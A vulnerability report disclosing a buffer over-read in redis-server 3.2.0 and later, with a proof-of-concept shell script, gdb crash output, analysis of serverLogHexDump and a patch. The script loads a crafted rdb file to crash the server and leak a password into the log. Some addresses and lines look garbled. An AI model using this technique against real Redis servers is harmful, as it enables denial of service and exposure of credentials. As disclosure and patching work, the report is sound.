

Buffer Over Read in redis-server 3.2.0 and Later

Introduction

The redis-server does not properly handle a corrupted rdb database file when loads it. The function `serverLogHexDump(int level, char *descr, void *value, size_t len)` does not check the validity of the last parameter `len`, which can be assigned from a rdb file. A very large value, such as `0xffffffff`, will trigger a buffer over read, as demonstrated by exposing sensitive information, such as password. Also, the program will receive the SIGSEGV signal, if it accesses an invalid memory address. The vulnerability can also be used for the deny of service attack.

Proof of Concept

I have reproduced this vulnerability with redis-server 3.2.3 in a Debian system and the newest [source code](#) of redis in github.com. The program will crash and the password will be dumped in the log file.

The source code of poc.sh is followed and the rdb file is located at `./poc/bufferoverread.rdb`:

```
# Date: Sept 06, 2016
# Vulnerability type: CWE-126: Buffer Over Read
# Description: The last parameter named len in serverLogHexDump() can be controlled by a corrupted rdb database file. A very large value will trigger a buffer over read, resulting sensitive information on the stack exposed.
# Affected Version: >=redis 3.2.0
# Debian version: stretch and sid

Redis_Path=`which redis-server`
PASS_WORD='AAAA__PASSWORD__PASSWORD__AAAA'
HEX_PASS='414141415f5f50415353574f52445f5f50415353574f52445f5f41414141'
DB_FILE='buffer_over_read.rdb'
LOG_FILE='error.log'
echo "Redis Version:"
$Redis_Path --version

#sets a password and loads a rdb file
$Redis_Path --requirepass $PASS_WORD --port 54321 --dbfilename $DB_FILE > $LOG_FILE
E
#search password
echo "The password $PASS_WORD will be found in the $LOG_FILE with hex format: $HEX_PASS"
#cat $LOG_FILE | grep -n $HEX_PASS
```

A core dump will be generated after the poc.sh is executed. The backtrace of the process is followed for debugging:

```
Program received signal SIGSEGV, Segmentation fault.
serverLogHexDump (level=level@entry=3, descr=descr@entry=0x4ef6c0 "ziplist with du
p elements dump", value=<optimized out>, len=2019155864) at debug.c:1059
1059          b[0] = charset[( *v)>>4];
(gdb) x/i $pc
=> 0x4638c0 <serverLogHexDump+112>:      movzbl 0x0(%rbp),%edx
(gdb) p/x $rbp
$1 = 0x7fffff6c00000
(gdb) bt
#0  serverLogHexDump (level=level@entry=3, descr=descr@entry=0x4ef6c0 "ziplist wit
h dup elements dump", value=<optimized out>, len=2019155864) at debug.c:1059
#1  0x00000000004545fa in hashTypeConvertZiplist (o=0x7fffff6a6e4b0, enc=<optimized
out>) at t_hash.c:486
#2  0x00000000004546b5 in hashTypeConvert (o=o@entry=0x7fffff6a6e4b0, enc=enc@entry
=2) at t_hash.c:502
#3  0x0000000000446256 in rdbLoadObject (rdbtype=rdbtype@entry=13, rdb=rdb@entry=0
x7ffffffffffe3f0) at rdb.c:1296
#4  0x0000000000446e57 in rdbLoad (filename=<optimized out>) at rdb.c:1490
#5  0x000000000042d854 in loadDataFromDisk () at server.c:3378
#6  0x00000000004218e6 in main (argc=3, argv=0x7ffffffffffea08) at server.c:3656
(gdb)
```

And the memory layout of the process is followed for your reference:

```
(gdb) info proc mappings
process 2778
Mapped address spaces:

      Start Addr          End Addr       Size     Offset objfile
-  
server      0x400000          0x52e000    0x12e000      0x0 /usr/local/bin/redis
-  
server      0x72d000          0x72e000     0x1000    0x12d000 /usr/local/bin/redis
-  
server      0x72e000          0x733000    0x5000    0x12e000 /usr/local/bin/redis
-  
server      0x733000          0x76b000    0x38000      0x0 [heap]
      0x7fffff51fd000      0x7fffff51fe000     0x1000      0x0
      0x7fffff51fe000      0x7fffff59fe000    0x800000     0x0 [stack:2792]
      0x7fffff59fe000      0x7fffff59ff000     0x1000      0x0
      0x7fffff59ff000      0x7fffff61ff000    0x800000     0x0 [stack:2791]
      0x7fffff61ff000      0x7fffff6200000     0x1000      0x0
      0x7fffff6200000      0x7fffff6c00000    0xa00000     0x0 [stack:2790]
      0x7fffff6d37000      0x7fffff7000000    0x2c9000     0x0 /usr/lib/locale/loca
le-archive
```

0x7ffff7000000	0x7ffff7200000	0x200000	0x0
0x7ffff72ed000	0x7ffff74a8000	0x1bb000	0x0 /lib/x86_64-linux-gn
u/libc-2.19.so			
0x7ffff74a8000	0x7ffff76a7000	0x1ff000	0x1bb000 /lib/x86_64-linux-gn
u/libc-2.19.so			
0x7ffff76a7000	0x7ffff76ab000	0x4000	0x1ba000 /lib/x86_64-linux-gn
u/libc-2.19.so			
0x7ffff76ab000	0x7ffff76ad000	0x2000	0x1be000 /lib/x86_64-linux-gn
u/libc-2.19.so			
0x7ffff76ad000	0x7ffff76b2000	0x5000	0x0
0x7ffff76b2000	0x7ffff76cb000	0x19000	0x0 /lib/x86_64-linux-gn
u/libpthread-2.19.so			
0x7ffff76cb000	0x7ffff78ca000	0x1ff000	0x19000 /lib/x86_64-linux-gn
u/libpthread-2.19.so			
0x7ffff78ca000	0x7ffff78cb000	0x1000	0x18000 /lib/x86_64-linux-gn
u/libpthread-2.19.so			
0x7ffff78cb000	0x7ffff78cc000	0x1000	0x19000 /lib/x86_64-linux-gn
u/libpthread-2.19.so			
0x7ffff78cc000	0x7ffff78d0000	0x4000	0x0
0x7ffff78d0000	0x7ffff78d3000	0x3000	0x0 /lib/x86_64-linux-gn
u/libdl-2.19.so			
0x7ffff78d3000	0x7ffff7ad2000	0x1ff000	0x3000 /lib/x86_64-linux-gn
u/libdl-2.19.so			
0x7ffff7ad2000	0x7ffff7ad3000	0x1000	0x2000 /lib/x86_64-linux-gn
u/libdl-2.19.so			
0x7ffff7ad3000	0x7ffff7ad4000	0x1000	0x3000 /lib/x86_64-linux-gn
u/libdl-2.19.so			
0x7ffff7ad4000	0x7ffff7bd9000	0x105000	0x0 /lib/x86_64-linux-gn
u/libm-2.19.so			
0x7ffff7bd9000	0x7ffff7dd8000	0x1ff000	0x105000 /lib/x86_64-linux-gn
u/libm-2.19.so			
0x7ffff7dd8000	0x7ffff7dd9000	0x1000	0x104000 /lib/x86_64-linux-gn
u/libm-2.19.so			
0x7ffff7dd9000	0x7ffff7dda000	0x1000	0x105000 /lib/x86_64-linux-gn
u/libm-2.19.so			
0x7ffff7dda000	0x7ffff7dfd000	0x23000	0x0 /lib/x86_64-linux-gn
u/ld-2.19.so			
0x7ffff7fd8000	0x7ffff7fdc000	0x4000	0x0
0x7ffff7ff6000	0x7ffff7ffa000	0x4000	0x0
0x7ffff7ffa000	0x7ffff7ffc000	0x2000	0x0 [vdso]
0x7ffff7ffc000	0x7ffff7ffd000	0x1000	0x22000 /lib/x86_64-linux-gn
u/ld-2.19.so			
0x7ffff7ffd000	0x7ffff7ffe000	0x1000	0x23000 /lib/x86_64-linux-gn
u/ld-2.19.so			
0x7ffff7ffe000	0x7ffff7fff000	0x1000	0x0
0x7ffffffffffde000	0x7ffffffffff000	0x21000	0x0 [stack]
0xffffffffffff600000	0xffffffffffff601000	0x1000	0x0 [vsyscall]

Based on the above gdb information, I think the reason of the crash is that the last instruction was trying to read memory at address 0x7fff6c00000, which was out of the stack range (0x7fff6200000 to 0x7fff6c00000) and was invalid for reading.

After analysing the following source code of the vulnerable function, I found the register `$rbp` in the last instruction `movzbl 0x0(%rbp),%edx` represents the pointer `v` in the following c source code. This function dose not check the validity of the pointer `v`. The pointer `v` will increase until it reaches a invalid address during the the every time of the loop. More seriously, the function `serverLogRaw()` will dump all the content of the stack when the pointer `v` increases. The vulnerable function will lead the password on the stack to be dumped into the log file.

```
// src/debug.c:1051
void serverLogHexDump(int level, char *descr, void *value, size_t len) {
    char buf[65], *b;
    unsigned char *v = value;
    char charset[] = "0123456789abcdef";

    serverLog(level,"%s (hexdump):", descr);
    b = buf;
    while(len) {
        b[0] = charset[( *v)>>4];
        b[1] = charset[( *v)&0xf];
        b[2] = '\\0';
        b += 2;
        len--;
        v++;
        if (b-buf == 64 || len == 0) {
            serverLogRaw(level|LL_RAW,buf);
            b = buf;
        }
    }
    serverLogRaw(level|LL_RAW, "\\n");
}
```

Countermeasure

I prefer to remove the calling of the vulnerable function `serverLogHexDump()`. Because the parameter `len` is controlled by the db file and it is difficult to detect whether the length of the data is as same as the value of `len`.

The patch is followed:

```
diff --git a/src/t_hash.c b/src/t_hash.c
index a495593..3ae0d46 100644
--- a/src/t_hash.c
+++ b/src/t_hash.c
@@ -483,8 +483,6 @@ void hashTypeConvertZiplist(robj *o, int enc) {
    value = hashTypeCurrentObjectNewSds(hi,OBJ_HASH_VALUE);
    ret = dictAdd(dict, key, value);
    if (ret != DICT_OK) {
-       serverLogHexDump(LL_WARNING,"ziplist with dup elements dump",
-       o->ptr,ziplistBlobLen(o->ptr));
        serverPanic("Ziplist corruption detected");
    }
}
```

Conclusion

A buffer over read vulnerability is found in redis-server 3.2.0 and later. The report shows the proof of concept and vulnerability analysis. Finally, a patch is attached in the end.